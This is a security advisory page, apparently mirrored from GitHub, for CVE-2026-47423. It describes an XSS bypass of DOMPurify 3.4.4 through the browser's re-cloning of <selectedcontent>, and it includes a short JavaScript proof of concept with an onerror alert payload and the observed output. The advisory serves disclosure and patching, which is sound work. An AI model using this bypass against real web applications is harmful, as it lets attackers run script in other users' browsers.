GHSA-87XG-PXX2-7HVX

Vulnerability from github – Published: 2026-06-01 14:07 – Updated: 2026-06-01 14:07
VLAI
Summary
DOMPurify XSS via selectedcontent re-clone
Details

Summary

DOMPurify 3.4.4 allows selectedcontent by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify.

Details

The chain is as follows: 1. The browser parses the input and creates a <selectedcontent> clone from the selected <option> 2. DOMPurify walks and sanitizes that generated clone. 3. DOMPurify reaches the original <option> and removes selected=javascript:1 4. The browser refreshes the <selectedcontent> clone from the original option's content. 5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize 6. The returned string contains unsanitized markup inside <selectedcontent>.

PoC

const dirty =
  '<select><button><selectedcontent></selectedcontent></button>' +
  '<option selected=javascript:1>' +
  '<img src=x onerror=alert(1)>x' +
  '</option></select>';

const clean = DOMPurify.sanitize(dirty);
console.log(clean);

document.body.innerHTML = clean;

Observed "sanitized" output in Chromium 148/WebKit 625:

<select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select>

After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the onerror has already fired:

<select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select>

Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with browser support for selectedcontent.

Impact

This is a default-configuration DOMPurify sanitizer bypass resulting in XSS.

Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.4"
            },
            {
              "fixed": "3.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.4.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47423"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-01T14:07:29Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nDOMPurify 3.4.4 allows `selectedcontent` by default, allowing a chain in which browsers \"re-clone\" an XSS payload after sanitization, effectively bypassing DOMPurify. \n\n### Details\nThe chain is as follows:\n1. The browser parses the input and creates a `\u003cselectedcontent\u003e` clone from the selected `\u003coption\u003e`\n2. DOMPurify walks and sanitizes that generated clone.\n3. DOMPurify reaches the original `\u003coption\u003e` and removes `selected=javascript:1`\n4. The browser refreshes the `\u003cselectedcontent\u003e` clone from the original `option`\u0027s content.\n5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn\u0027t go back to sanitize\n6. The returned string contains unsanitized markup inside `\u003cselectedcontent\u003e`.\n\n### PoC\n```js\nconst dirty =\n  \u0027\u003cselect\u003e\u003cbutton\u003e\u003cselectedcontent\u003e\u003c/selectedcontent\u003e\u003c/button\u003e\u0027 +\n  \u0027\u003coption selected=javascript:1\u003e\u0027 +\n  \u0027\u003cimg src=x onerror=alert(1)\u003ex\u0027 +\n  \u0027\u003c/option\u003e\u003c/select\u003e\u0027;\n\nconst clean = DOMPurify.sanitize(dirty);\nconsole.log(clean);\n\ndocument.body.innerHTML = clean;\n```\n\nObserved \"sanitized\" output in Chromium 148/WebKit 625:\n```html\n\u003cselect\u003e\u003cbutton\u003e\u003cselectedcontent\u003e\u003cimg src=\"x\" onerror=\"alert(1)\"\u003ex\u003c/selectedcontent\u003e\u003c/button\u003e\u003coption\u003e\u003cimg src=\"x\"\u003ex\u003c/option\u003e\u003c/select\u003e\n```\n\nAfter reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the `onerror` has already fired:\n```html\n\u003cselect\u003e\u003cbutton\u003e\u003cselectedcontent\u003e\u003cimg src=\"x\"\u003ex\u003c/selectedcontent\u003e\u003c/button\u003e\u003coption\u003e\u003cimg src=\"x\"\u003ex\u003c/option\u003e\u003c/select\u003e\n```\n\nReproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with [browser support](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/selectedcontent) for `selectedcontent`.\n\n### Impact\nThis is a default-configuration DOMPurify sanitizer bypass resulting in XSS.\n\nApplications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.",
  "id": "GHSA-87xg-pxx2-7hvx",
  "modified": "2026-06-01T14:07:29Z",
  "published": "2026-06-01T14:07:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-87xg-pxx2-7hvx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DOMPurify XSS via selectedcontent re-clone"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…